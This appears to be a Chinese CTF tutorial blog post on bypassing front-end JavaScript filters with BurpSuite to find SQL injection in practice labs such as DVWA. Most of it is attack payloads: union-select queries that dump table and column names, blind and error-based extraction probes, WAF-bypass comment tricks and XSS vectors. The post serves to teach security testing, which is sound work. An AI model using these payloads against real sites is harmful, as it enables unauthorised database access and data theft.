第一次参加CTF比赛时,遇到一个看似简单的搜索框,输入单引号却没有任何反应——这种挫败感很多新手都经历过。前端JavaScript过滤就像一堵无形的墙,挡住了大多数初学者的去路。但事实上,这堵墙远比想象中脆弱。本文将带你用BurpSuite这把"瑞士军刀",一步步拆解前端防护,还原SQL注入的本质攻击路径。
几乎所有Web安全教材都会强调:永远不要依赖前端验证。但新手往往会被表象迷惑,看到页面上过滤了特殊字符就放弃尝试。实际上,前端JS验证有三个致命弱点:
在最近某次高校CTF比赛中,超过60%的前端过滤题目都可以通过禁用JS或修改HTTP请求直接绕过。下面这段典型的过滤代码:
javascript复制function sanitize(input) {
return input.replace(/['"\\;]/g, '');
}
看似过滤了常见危险字符,但遇到||1=1--这类变体就无能为力。更讽刺的是,这种前端防护反而给攻击者提供了重要线索——它明确告诉黑客后台可能存在SQL注入漏洞。
推荐使用DVWA或Pikachu靶场进行练习,它们都内置了可调节的前端过滤机制:
浏览器配置要点:
注意:BurpSuite拦截请求时需要先关闭JS禁用,否则页面可能无法正常提交表单
即使前端过滤了单引号,我们仍可以通过数字型注入点试探:
code复制原始请求:id=1
修改为:id=1 and 1=1
观察页面返回差异。更专业的做法是用BurpSuite的Repeater模块发送以下序列:
id=1' → 查看是否报错id=1'-- → 测试注释符是否生效id=1' or '1'='1 → 测试逻辑注入当遇到下拉菜单等受限表单元素时,先用BurpSuite拦截正常请求,再修改参数值:
http复制POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
category=electronics&price=100
改为:
http复制category=electronics'--&price=100
前端有时会编码转换特殊字符,此时需要尝试:
' → %27 → %2527' → '' → \u0027在BurpSuite的Decoder模块可以快速测试各种编码组合。某次实战中,前端过滤了<script>但允许\u003cscript\u003e,导致XSS漏洞。
当不确定具体过滤规则时,可以用Intruder模块系统测试:
§input§)建议测试列表包含:
SeLeCt/*!select*/S%E%L%E%C%T'+'sql'+'injectionCommunity版虽然功能受限,但依然可以:
某次测试发现,前端虽然过滤了alert(),但允许prompt(),这种不一致性往往意味着防护存在缺陷。
通过BurpSuite拦截正常搜索请求:
http复制GET /search?q=test HTTP/1.1
修改为以下变体并观察响应差异:
| 测试payload | 预期正常响应 | 可能注入类型 |
|---|---|---|
| q=test' | 500错误 | 字符型 |
| q=test and 1=1 | 结果相同 | 数字型 |
| q=test' and '1'='1 | 结果相同 | 字符型 |
确认注入点后,通过联合查询获取元数据:
code复制' union select 1,table_name from INFORMATION_SCHEMA.tables--
BurpSuite的Repeater模块非常适合调试这类复杂注入:
' order by 5--' union select 1,2,3,4,5--当直接查询被过滤时,可以尝试:
' union select 1,(select group_concat(column_name) from INFORMATION_SCHEMA.columns where table_name='users'),3--' or ascii(substring(database(),1,1))>97--' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--在最近一次CTF中,通过以下变形成功绕过WAF:
sql复制'/*!UNION*/+/*!SELECT*/+1,@@version,database()--+
作为开发者,应该认识到:
而作为安全测试人员,掌握这些绕过技巧的价值在于:
某次渗透测试中,我们发现系统虽然在前端过滤了<script>标签,但允许<img src=x onerror=alert(1)>,这种防御缺口往往会导致严重漏洞。